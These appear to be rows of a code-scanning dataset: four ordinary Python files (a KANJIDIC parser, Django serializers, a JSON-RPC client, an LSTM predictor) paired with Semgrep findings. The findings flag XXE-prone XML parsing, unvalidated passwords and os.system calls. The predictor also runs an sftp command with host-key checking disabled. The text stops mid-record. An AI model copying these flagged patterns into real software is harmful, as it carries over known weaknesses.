rmgroup.findall("meaning") for meaning in meanings: m_lang = meaning.get("m_lang") if m_lang is None or m_lang == "en": entry["meanings"].append(string.capwords(meaning.text)) readings = rmgroup.findall("reading") for reading in readings: r_type = reading.get("r_type") if r_type == "ja_on": entry["readings_on"].append(reading.text.translate(kat2hir)) elif r_type == "ja_kun": entry["readings_kun"].append(reading.text) get_kanjidic_data() with open("kanjidic.json", "wt", encoding="utf-8") as fp: json.dump(kanji, fp, ensure_ascii=False, indent=4)
77
37.73
112
20
821
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_b3bf500f885335fa_2d4e927f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 5, "line_end": 5, "column_start": 1, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/b3bf500f885335fa.py", "start": {"line": 5, "col": 1, "offset": 54}, "end": {"line": 5, "col": 38, "offset": 91}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_b3bf500f885335fa_917966b3", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 15, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/b3bf500f885335fa.py", "start": {"line": 16, "col": 15, "offset": 468}, "end": {"line": 16, "col": 32, "offset": 485}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_b3bf500f885335fa_227b78db", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(url, timeout=30)", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 15, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/b3bf500f885335fa.py", "start": {"line": 16, "col": 15, "offset": 468}, "end": {"line": 16, "col": 32, "offset": 485}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(url, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.insecure-transport.requests.request-with-http_b3bf500f885335fa_52fe7b98", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.insecure-transport.requests.request-with-http", "finding_type": "security", "severity": "low", "confidence": "medium", "message": "Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 28, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": "CWE-319: Cleartext Transmission of Sensitive Information", "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://owasp.org/Top10/A02_2021-Cryptographic_Failures", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.insecure-transport.requests.request-with-http", "path": "/tmp/tmp10dxl77l/b3bf500f885335fa.py", "start": {"line": 16, "col": 28, "offset": 481}, "end": {"line": 16, "col": 31, "offset": 484}, "extra": {"message": "Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.", "metadata": {"owasp": ["A03:2017 - Sensitive Data Exposure", "A02:2021 - Cryptographic Failures", "A04:2025 - Cryptographic Failures"], "cwe": ["CWE-319: Cleartext Transmission of Sensitive Information"], "asvs": {"control_id": "9.1.1 Weak TLS", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x17-V9-Communications.md#v92-server-communications-security-requirements", "section": "V9 Communications Verification Requirements", "version": "4"}, "category": "security", "technology": ["requests"], "references": ["https://owasp.org/Top10/A02_2021-Cryptographic_Failures"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 5 ]
[ 5 ]
[ 1 ]
[ 38 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
kanjidic.py
/tools/kanjidic.py
davidluzgouveia/kanji-data
MIT
2024-11-18T21:52:00.800640+00:00
1,619,375,041,000
6c028d301de65d2fbe67c02e5913eecf016b2e46
2
{ "blob_id": "6c028d301de65d2fbe67c02e5913eecf016b2e46", "branch_name": "refs/heads/main", "committer_date": 1619375041000, "content_id": "eee2ff6d775c5fe439e6afb599d4e6c508251fb6", "detected_licenses": [ "MIT" ], "directory_id": "ec95dffd04c4dbe87bc665fce9f2facf880247fd", "extension": "py", "filename": "serializers.py", "fork_events_count": 0, "gha_created_at": 1617359841000, "gha_event_created_at": 1619375791000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 353987538, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2306, "license": "MIT", "license_type": "permissive", "path": "/app/user/serializers.py", "provenance": "stack-edu-0054.json.gz:588930", "repo_name": "DmitryBovsunovskyi/workout-restfull-api", "revision_date": 1619375041000, "revision_id": "a5e4bcde634f790869bc4fa9fa7a95b39c8d62ec", "snapshot_id": "ecffa05317f9ab534c089e3c13b221c841b40d30", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/DmitryBovsunovskyi/workout-restfull-api/a5e4bcde634f790869bc4fa9fa7a95b39c8d62ec/app/user/serializers.py", "visit_date": "2023-04-09T01:19:41.479241" }
2.46875
stackv2
from django.contrib.auth import get_user_model from rest_framework import serializers from rest_framework.exceptions import ValidationError from user.utils import normalize_email class UserSerializer(serializers.ModelSerializer): """ Serializer for the users object """ class Meta: model = get_user_model() fields = ('email', 'password', 'username') extra_kwargs = {'password': {'write_only': True, 'min_length': 5}} def create(self, validated_data): """ Create a new user with encrypted password and return it """ return get_user_model().objects.create_user(**validated_data) def update(self, instance, validated_data): """ Update a user with encrypted password and return it """ password = validated_data.pop('password', None) email = normalize_email(validated_data.pop('email', None)) validated_data['email'] = email user = super().update(instance, validated_data) if password: user.set_password(password) user.save() return user class EmailVerificationSerializer(serializers.ModelSerializer): """ Serializer for the token of user object """ token = serializers.CharField(max_length=555) class LoginSerializer(serializers.Serializer): """ Serializer to login user """ email = serializers.EmailField(max_length=255) password = serializers.CharField(max_length=128) class ResetPasswordEmailSerializer(serializers.Serializer): """ Serializer for sending token for rest password for user """ email = serializers.EmailField(max_length=255) class Meta: fields = ["email"] class SetNewPasswordSerializer(serializers.Serializer): """ Serializer for resetting user password """ password = serializers.CharField(max_length=128) password_confirmation = serializers.CharField(max_length=128) def validate(self, attrs): password = attrs.get('password', '') password_confirmation = attrs.get('password_confirmation', '') if password != password_confirmation: raise ValidationError( "Password and confirm_password does not match!" ) return super().validate(attrs)
79
28.19
74
13
435
python
[{"finding_id": "semgrep_rules.python.django.security.audit.unvalidated-password_0235b45123b44738_d83aee38", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.unvalidated-password", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The password on 'user' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "remediation": "if django.contrib.auth.password_validation.validate_password(password, user=user):\n user.set_password(password)", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 13, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": "CWE-521: Weak Password Requirements", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2021 - Identification and Authentication Failures", "references": [{"url": "https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.unvalidated-password", "path": "/tmp/tmp10dxl77l/0235b45123b44738.py", "start": {"line": 34, "col": 13, "offset": 1044}, "end": {"line": 34, "col": 40, "offset": 1071}, "extra": {"message": "The password on 'user' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "fix": "if django.contrib.auth.password_validation.validate_password(password, user=user):\n user.set_password(password)", "metadata": {"cwe": ["CWE-521: Weak Password Requirements"], "owasp": ["A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation"], "category": "security", "technology": ["django"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-521" ]
[ "rules.python.django.security.audit.unvalidated-password" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 34 ]
[ 34 ]
[ 13 ]
[ 40 ]
[ "A07:2021 - Identification and Authentication Failures" ]
[ "The password on 'user' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
serializers.py
/app/user/serializers.py
DmitryBovsunovskyi/workout-restfull-api
MIT
2024-11-18T21:52:02.621158+00:00
1,497,544,694,000
a5cf2cef1535b4185f37636cb0265e810b895a59
2
{ "blob_id": "a5cf2cef1535b4185f37636cb0265e810b895a59", "branch_name": "refs/heads/master", "committer_date": 1497544694000, "content_id": "bf3344aa53f0da451c4c17cd89bcc33b4f9b26ca", "detected_licenses": [ "Apache-2.0" ], "directory_id": "dc75caa9148738e709f11703203190e1a22f56b3", "extension": "py", "filename": "client.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 92286110, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8683, "license": "Apache-2.0", "license_type": "permissive", "path": "/src/jsonrpc/client.py", "provenance": "stack-edu-0054.json.gz:588955", "repo_name": "sffjunkie/jsonrpc", "revision_date": 1497544694000, "revision_id": "80ef32357481f8b5c654e3fd730aa8b32c72c195", "snapshot_id": "7f6518648aaa60c537a8cf1100ba6c82bf913e5b", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/sffjunkie/jsonrpc/80ef32357481f8b5c654e3fd730aa8b32c72c195/src/jsonrpc/client.py", "visit_date": "2021-01-21T20:52:54.841613" }
2.390625
stackv2
# Copyright 2017 Simon Kennedy <sffjunkie+code@gmail.com> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import asyncio import aiohttp from functools import partial from jsonrpc import buffer from jsonrpc.message import RPCRequest, RPCResponse, RPCMessageError __all__ = ['RPCClient'] class RPCClient(): """An asyncio JSON RPC client. Args: host (str): Host name to send requests to port (int): Port number on the host to communicate with. timeout (float): Timeout in seconds for connection to the host method (str): The method to use to send the requests either 'http' (default) or 'tcp' path (str): The path to send the request to; (http only) username (str): User name to authenticate with; (http only) password (str): Password to authenticate with; (http only) notification_handler (coroutine): A coroutine which receives RPCResponse notifications (tcp only) """ def __init__(self, host, port=8080, timeout=-1, method='http', path='/jsonrpc', username='', password='', notification_handler=None): if method not in ['tcp', 'http']: raise RPCMessageError('Unrecognised method %s specified', method) self.host = host self.port = port self.timeout = timeout self.method = method self.path = path self.username = username self.password = password self.notification_handler = notification_handler self._tcp_protocol = None self._namespace_cache = {} self.loop = asyncio.get_event_loop() @asyncio.coroutine def request(self, request, method=None, *args, **kwargs): """Send an RPC request. Args: request (:class:`RPCRequest`): The request to send. Returns: None: No response received. :class:`RPCResponse`: The response from the host """ method = method or self.method if method == 'http': response = yield from self._send_http_request(request, *args, **kwargs) elif method == 'tcp': response = yield from self._send_tcp_request(request, *args, **kwargs) return response def close(self): if self._tcp_protocol: self._tcp_protocol._transport.close() @asyncio.coroutine def _send_http_request(self, request, *args, **kwargs): """Send a request using HTTP Args: request (:class:`RPCRequest`): The request to send. Returns: None: No response received. :class:`RPCResponse`: The response from the host. """ request_data = request.marshal() path = kwargs.get('path', self.path) url = 'http://{}:{}{}'.format(self.host, self.port, path) auth = None if self.username != '': if self.password == '': auth = aiohttp.BasicAuth(self.username) else: auth = aiohttp.BasicAuth(self.username, self.password) headers = {'Content-Type': 'application/json'} http_request = aiohttp.request('POST', url, data=request_data, headers=headers, auth=auth, loop=self.loop) if request.notification: return None else: if self.timeout == -1: http_response = yield from http_request else: http_response = yield from asyncio.wait_for(http_request, self.timeout) if http_response.status == 200: body = yield from http_response.read() response = RPCResponse() response.unmarshal(body) result = response.result else: result = None return result @asyncio.coroutine def _send_tcp_request(self, request, *args, **kwargs): """Send a request using TCP Args: request (:class:`RPCRequest`): The request to send. """ if not self._tcp_protocol: factory = lambda: _TCPProtocol(self.timeout, self.notification_handler) coro = self.loop.create_connection(factory, self.host, self.port) if self.timeout == -1: (_t, protocol) = yield from coro else: (_t, protocol) = yield from asyncio.wait_for(coro, self.timeout) self._tcp_protocol = protocol response = yield from protocol.send(request) return response def __getattr__(self, namespace): if namespace in self._namespace_cache: return self._namespace_cache[namespace] nsobj = self.RPCNamespace(namespace, self) self._namespace_cache[namespace] = nsobj return nsobj class RPCNamespace(object): def __init__(self, name, protocol): self.name = name self.protocol = protocol self._id = 1 self._handler_cache = {} def __getattr__(self, method): if method in self._handler_cache: return self._handler_cache[method] @asyncio.coroutine def handler(method, *args, **kwargs): method = '{}.{}'.format(self.name, method) request = RPCRequest(method, *args, **kwargs) response = yield from self.protocol.request(request) return response h = partial(handler, method) self._handler_cache[method] = h return h class _TCPProtocol(asyncio.Protocol): """Send JSONRPC messages using the TCP _transport""" def __init__(self, timeout=-1, notification_handler=None): self.responses = None self.notifications = None self._timeout = timeout self._notification_handler = notification_handler @asyncio.coroutine def send(self, request): """Send a request Args: request (:class:`RPCRequest`): The request to send. """ request_data = request.marshal() self._transport.write(request_data) if request.notification: return None else: response = yield from self._wait_for_response(request.uid) return response def connection_made(self, transport): self.responses = {} self.notifications = [] self._buffer = buffer.JSONBuffer() self._transport = transport def data_received(self, data): self._buffer.append(data) @asyncio.coroutine def _wait_for_data(self, uid): while True: for data in self._buffer.messsages: try: message = RPCResponse() message.unmarshal(data) self.responses[message.uid] = message # If there's an error unmarshaling a Response then we # need to try to unmarshall as a notification Request except RPCMessageError: message = RPCRequest() message.unmarshal(message) self.notifications.append(message) del self._buffer.messages[:] yield from asyncio.sleep(0.1) @asyncio.coroutine def _wait_for_response(self, uid): while True: response = self.responses.pop(uid, None) if response: return response else: yield from asyncio.sleep(0.1)
262
31.14
83
19
1,658
python
[{"finding_id": "semgrep_rules.python.django.security.injection.request-data-write_aebdf3d6fb6cd38b_d68b19ab", "tool_name": "semgrep", "rule_id": "rules.python.django.security.injection.request-data-write", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized.", "remediation": "", "location": {"file_path": "unknown", "line_start": 215, "line_end": 217, "column_start": 9, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": "CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.injection.request-data-write", "path": "/tmp/tmp10dxl77l/aebdf3d6fb6cd38b.py", "start": {"line": 215, "col": 9, "offset": 6957}, "end": {"line": 217, "col": 44, "offset": 7034}, "extra": {"message": "Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized.", "metadata": {"cwe": ["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "category": "security", "technology": ["django"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-93" ]
[ "rules.python.django.security.injection.request-data-write" ]
[ "security" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 215 ]
[ 217 ]
[ 9 ]
[ 44 ]
[ "A03:2021 - Injection" ]
[ "Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that requ...
[ 5 ]
[ "MEDIUM" ]
[ "MEDIUM" ]
client.py
/src/jsonrpc/client.py
sffjunkie/jsonrpc
Apache-2.0
2024-11-18T21:52:06.976693+00:00
1,621,819,517,000
e322173043c2c5e33a149043bcfd21b4a6e57de1
3
{ "blob_id": "e322173043c2c5e33a149043bcfd21b4a6e57de1", "branch_name": "refs/heads/main", "committer_date": 1621819517000, "content_id": "f537eb8658fb4676b5a1563e089a6eb0bfa7daf1", "detected_licenses": [ "MIT" ], "directory_id": "9998ff1d80a5442970ffdc0b2dd343e3cab30ee8", "extension": "py", "filename": "lo_predict.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 301475198, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5691, "license": "MIT", "license_type": "permissive", "path": "/lo_predict.py", "provenance": "stack-edu-0054.json.gz:589002", "repo_name": "cgomezsu/FIAQM", "revision_date": 1621819517000, "revision_id": "da44e370f40e573233a148414229359e7782ad0c", "snapshot_id": "9baac1a9410a6ad19e67fff024a9ff15f24df70c", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/cgomezsu/FIAQM/da44e370f40e573233a148414229359e7782ad0c/lo_predict.py", "visit_date": "2023-05-13T02:17:19.833979" }
2.59375
stackv2
""" v.e.s. To make FPC predictions MIT License Copyright (c) 2020 Cesar A. Gomez Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import torch import torch.nn as nn import numpy as np import pandas as pd from sklearn.preprocessing import MinMaxScaler import random from collections import OrderedDict import os, time import pickle torch.manual_seed(3) random.seed(3) # For reproducibility def pdata(drate, window=1): dfinal = [] seq = window+1 for index in range(len(drate)-seq+1): dfinal.append(drate[index:index+seq]) dtrain = np.array(dfinal) X_train = dtrain[:,:-1] # Select all columns, but the last one y_train = dtrain[:,-1] # Select last column # Normalizing data: scaler = MinMaxScaler(feature_range=(0, 1)) Xn_train = scaler.fit_transform(X_train.reshape(-1, window)) yn_train = scaler.fit_transform(y_train.reshape(-1, 1)) # Converting datasets into tensors: X_train = torch.from_numpy(Xn_train).type(torch.Tensor) y_train = torch.from_numpy(yn_train).type(torch.Tensor).view(-1) return [X_train, y_train] # Define LSTM model class LSTM(nn.Module): def __init__(self, input_size=1, hidden_size=30, output_size=1, num_layers=3): super().__init__() self.hidden_size = hidden_size self.num_layers = num_layers # Define the LSTM layers self.lstm = nn.LSTM(input_size, hidden_size, num_layers, bias=True, batch_first=False, dropout=0.2) # Define the output layer self.linear = nn.Linear(hidden_size, output_size) # Hidden state initialization self.hidden_cell = (torch.zeros(self.num_layers,1,self.hidden_size), torch.zeros(self.num_layers,1,self.hidden_size)) # Batch size = 1 def forward(self, input_seq): # Forward pass through LSTM layer # shape of lstm_out: [input_size, batch_size, hidden_dim] # shape of self.hidden_cell: (a, b), where a and b both have shape (num_layers, batch_size, hidden_dim). lstm_out, self.hidden_cell = self.lstm(input_seq.view(len(input_seq), 1, -1), self.hidden_cell) # Only take the output from the final timestep y_pred = self.linear(lstm_out.view(len(input_seq), -1)) return y_pred[-1] lo_model = LSTM() num_pred = 100 window = 10 samples = num_pred+window preds_file = '/home/ubuntu/LO/Predictions/dr_est.npy' while True: # Load file with last model parameters wo_last = '/home/ubuntu/LO/wo_last.pt' while not os.path.isfile(wo_last): time.sleep(0) while not os.path.getsize(wo_last) >= 79641: # To make sure that the file is not empty and still being copied (w file is 79641 B in size) time.sleep(0) wo_dict = torch.load(wo_last) with torch.no_grad(): lo_model.load_state_dict(wo_dict, strict=True) # Prediction making os.system('tail -n {} ~/ixp_stat/drp_stat_ixp.csv > ~/ixp_stat/drp_tmp_ixp.csv'.format(samples)) drops = pd.read_csv('~/ixp_stat/drp_tmp_ixp.csv', header=None) drop_d = drops.diff() drop_d = drop_d.abs() # To correct some negative values due to wrong measurements os.system('tail -n {} ~/ixp_stat/pkt_stat_ixp.csv > ~/ixp_stat/pkt_tmp_ixp.csv'.format(samples)) pkts = pd.read_csv('~/ixp_stat/pkt_tmp_ixp.csv', header=None) pkt_d = pkts.diff() pkt_d = pkt_d.abs() dr = (drop_d/pkt_d).fillna(0) X, y = pdata(dr[0], window) lo_model.eval() dr_est = np.zeros(num_pred) for seq in range(num_pred): with torch.no_grad(): lo_model.hidden_cell = (torch.zeros(lo_model.num_layers, 1, lo_model.hidden_size), torch.zeros(lo_model.num_layers, 1, lo_model.hidden_size)) pred = lo_model(X[seq]) dr_est[seq] = pred.detach().numpy() # Crop prediction outliers dr_est[dr_est < 0] = 0 dr_est[dr_est > 1] = 1 # Send predictions to the other Local Learner np.save(preds_file,dr_est) os.system('sftp -q -o StrictHostKeyChecking=no -P 54321 -i /home/ubuntu/emula-vm.pem ubuntu@10.10.10.10:{} /home/ubuntu/LLB'.format(preds_file))
142
38.08
156
14
1,340
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_d2c103dbfdbb9b57_ee81588f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 105, "line_end": 105, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/d2c103dbfdbb9b57.py", "start": {"line": 105, "col": 9, "offset": 3818}, "end": {"line": 105, "col": 22, "offset": 3831}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_d2c103dbfdbb9b57_bb69b3d6", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 107, "line_end": 107, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/d2c103dbfdbb9b57.py", "start": {"line": 107, "col": 9, "offset": 3997}, "end": {"line": 107, "col": 22, "offset": 4010}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d2c103dbfdbb9b57_71f75b48", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 114, "line_end": 114, "column_start": 5, "column_end": 101, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 